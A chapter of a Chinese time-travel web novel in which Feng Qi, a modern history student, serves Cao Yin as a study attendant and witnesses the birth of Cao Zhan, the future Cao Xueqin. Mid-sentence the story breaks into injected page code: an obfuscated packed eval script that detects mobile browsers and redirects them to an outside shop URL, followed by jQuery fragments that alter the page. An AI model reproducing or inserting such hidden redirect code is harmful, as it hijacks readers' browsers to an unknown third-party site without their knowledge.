洪武二年的夏天，冯七在江宁织造署的书房里，见到了新朝的第一任江宁织造。
此人姓曹，名寅，字子清，四十来岁，身材微胖，面容和善，说话慢条斯理，带着一股江南文人特有的温润气息。他上任的第一天，在书房里转了一圈，看了看满架的书卷，摸了摸书案的质地，然后转过身来，看着站在角落里的冯七。
“你叫什么名字？”
“回大人，小的叫冯七。”
“冯七。”曹寅念了一遍这个名字，点了点头，“你在这书房里当差多久了？”
“回大人，从暮华朝崇文十八年开始，到现在有三年了。”
曹寅的目光在他脸上停了一瞬。
“暮华朝的事，你还记得？”
冯七的心跳快了一拍。新朝初立，对前朝旧事讳莫如深。他不知道自己该说记得还是不记得。犹豫了一瞬，他选择了实话。
“记得一些。”
曹寅没有追问。他走到书架前，随手抽出一本书，翻了翻，又放回去。
“这书房里的书，你都看过？”
“不敢说都看过。整理得多了，大概知道哪一本在哪个位置。”
曹寅转过身来，看着他，目光里多了一些东西——不是审视，是好奇。
“你识字？”
“识一些。”
“读什么书？”
冯七想了想，说了和当年在御书房里一样的回答：“什么都读，但什么都不精。”
曹寅忽然笑了。那笑容很淡，但很真，像一杯泡得恰到好处的茶，不浓不淡，刚好润喉。
“有意思。”他说，“你留在这里，还做你原来的事。书房的规矩不用变，照旧就好。”
冯七应了一声，退出了书房。他站在廊下，长长地吐出一口气。后背的衣服已经被冷汗浸湿了。不是因为害怕，而是因为紧张。曹寅这个人，他听说过。在原来的世界里，他读过的那些关于清朝历史的书里，曹寅的名字出现过很多次。江宁织造，曹雪芹的祖父。他没想到自己会在这里、以这样的方式，和这个人产生交集。
命运真是一件奇妙的事。他在心里想。一个从二十一世纪穿越而来的历史系研究生，在另一个时空里，给曹雪芹的祖父当书童。
他不知道自己该笑还是该哭。
洪武三年，曹寅在江宁织造署的后院，建了一座小亭子。亭子不大，四根柱子，一个顶，普普通通，但他给这座亭子取了一个不普通的名字——“楝亭”。楝是一种树，江南很常见，春天开紫色的花，细碎碎的，不张扬，但有一种淡淡的香气。
曹寅在亭子里摆了一张石桌、几个石凳，夏天的晚上常在这里纳凉、喝茶、看书。有时候他叫冯七过来，让他坐在石凳上，陪他说说话。说的不是什么大事，大多是些闲散的话题——今年的丝绸收成如何，江南的天气与往年有什么不同，街上新开的那家点心铺子的枣泥酥做得如何。冯七陪他说话的时候，总是很小心，不该说的不说，不该问的不问。但曹寅似乎并不在意这些。他问冯七读过什么书，冯七就老老实实地说；他问冯七对某首诗的看法，冯七就老老实实地答。一来二去，曹寅对这个沉默寡言的小太监，多了几分赏识。
“冯七，”有一天晚上，曹寅坐在楝亭里，手里摇着折扇，看着天上的月亮，“你说你是从暮华朝过来的，那你在暮华朝的宫里，见过些什么？”
冯七沉默了片刻。
“小的见过很多人，也见过很多人死。”
曹寅的折扇停了。
“很多人死。”
“是。”
“你怕不怕？”
冯七想了想，说了一个不算回答的回答：“怕也没用。该来的总会来，躲不掉。”
曹寅看着他，目光里有什么东西在闪动。过了很久，他重新摇起了折扇，扇面上画着一枝梅花，在月光下泛着淡淡的光泽。冯七看着那枝梅花，忽然想起了苏公公送给他的那把折扇。扇面上也画着一枝梅花，笔触简淡，落款处盖着一枚印章——“冯记”。那把折扇他一直收着，压在枕头底下，和那沓笔记放在一起。那是他仅存的几样东西之一，轻易不拿出来，怕弄坏了。
“冯七，”曹寅忽然说，“你愿不愿意教我识字？”
冯七愣住了。
“大人，小的哪敢教您——”
“我不是说教我。”曹寅打断了他，语气里带着一丝笑意，“我是说，你给我当个伴读。我看书的时候，你坐在旁边，我看到不认识的字，你告诉我。你识字，我也识字，但两个人一起看，总比一个人有意思。”
冯七看着曹寅的脸，月光照在他的脸上，把那些皱纹照得格外清楚。他四十多岁了，在这个时代已经不算年轻。他的眼睛里有一种东西，不是皇上的威严，不是太监的算计，不是谋士的锐利——是文人的温润，是那种在书卷里泡了一辈子的人才会有的、从容不迫的、与世无争的气质。
“小的愿意。”冯七说。
从那天起，冯七每天晚上都到楝亭来，陪着曹寅看书。曹寅看书很杂，经史子集、诗词歌赋、小说戏曲，什么都看。他看书的时候很安静，不说话，只有翻书的声音，沙沙的，像秋天的落叶在地上刮过。冯七坐在一旁，手里也拿着一本书，但常常看不进去。他在想曹寅这个人。一个在前朝算不上显赫的文人，在新朝却做到了江宁织造这样的肥缺，靠的是什么？靠才学？靠人脉？还是靠别的什么？
他不知道。但他知道，曹寅对他不错。在这个人人自危的时代里，有人对你好，不问原因，只管记着。记在心里，记在笔记里，记在骨头里。总有一天，这些好会变成另一种东西，变成你活下去的理由，变成你往前走的力量。
洪武四年，曹寅的长孙出生了。消息传来的时候，曹寅正在楝亭里看书。他放下书，沉默了片刻，然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680434|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
站起身来，走到亭子边上，看着院子里的那棵楝树。楝树正开着花，紫的，细碎碎的，一簇一簇地挤在一起，像一堆小小的、紫色的云。
“冯七，”他说，“你知道我给这孩子取了个什么名字吗？”
“小的不知。”
“曹霑。”曹寅转过身来，看着他，脸上带着一种冯七从未见过的表情——不是喜悦，不是骄傲，是一种说不清的、深沉的、像是把所有的期望都压在了这个名字上。“霑，雨露霑溉的霑。我希望他这一生，能像雨露一样，润泽万物，泽被苍生。”
冯七站在那里，手在袖子里攥成了拳头。曹霑。曹雪芹。写《红楼梦》的那个人，写“满纸荒唐言，一把辛酸泪”的那个人，写“白茫茫大地真干净”的那个人。他原来以为，他来到这个时代，只是为了见证两个王朝的更替盛衰，只是为了记住那些被遗忘的人和事。但这一刻，他忽然觉得，或许还有别的原因——或许，他来到这个时代，也是为了遇见这个人，为了在这个人的祖父身边，看着他出生，看着他长大，看着他写出那部千古不朽的巨著。
命运真是一件奇妙的事。他在心里又念了一遍。奇妙到他不知道该感激还是该恐惧。
那天晚上，冯七在笔记上写道：
“洪武四年，夏，楝树花开。曹寅之孙出生，取名曹霑。霑者，雨露霑溉也。大人说，希望他这一生能润泽万物。”
他停了一下，又加了一行：
“奴才不知这孩子将来会如何。但奴才隐隐觉得，他会长大，会写出一些东西，一些比这个时代更长久的东西。”
写完这行字，他看着那支笔。笔杆上的“安生”两个字在烛光下泛着淡淡的黄色，安王的安，冯七的生。赵珩把这支笔送给他的时候，有没有想过，这支笔会写下曹雪芹的名字？他不知道。但他觉得，赵珩会高兴的。赵珩喜欢读书，喜欢写字，喜欢所有和纸墨有关的东西。如果他知道了，一定会笑着说：“冯七，你这支笔，比我用的时候厉害多了。”
冯七把笔记藏好，吹灭了灯，躺在床上。黑暗中，他摸着脖子上的玉扳指和铜钱，摸着枕头底下的那支笔。三样东西贴在一起，温热的，像是在彼此取暖。窗外的月亮很圆，很亮，照得院子里像白天一样。他睁着眼睛，看着头顶的房梁。房梁上那只蜘蛛又回来了，在月光下慢慢地结网，一圈一圈地绕，绕得很慢，但很认真。
冯七看着那只蜘蛛，忽然觉得自己和它很像。他也在结一张网，一张由记忆编织而成的网，每一个结都是一条命，每一个网眼都是一天。他结得很慢，很辛苦，但他必须结下去。因为那是他活着的意义。
他翻了个身，把被子裹紧。脖子上的玉扳指贴着胸口，温热的。铜钱贴着玉扳指，发出细微的碰撞声，叮的一声，像是有人在远处敲了一下钟。那声音很小，但在寂静的夜里，却格外清晰，像一声叹息。
冯七闭上眼睛。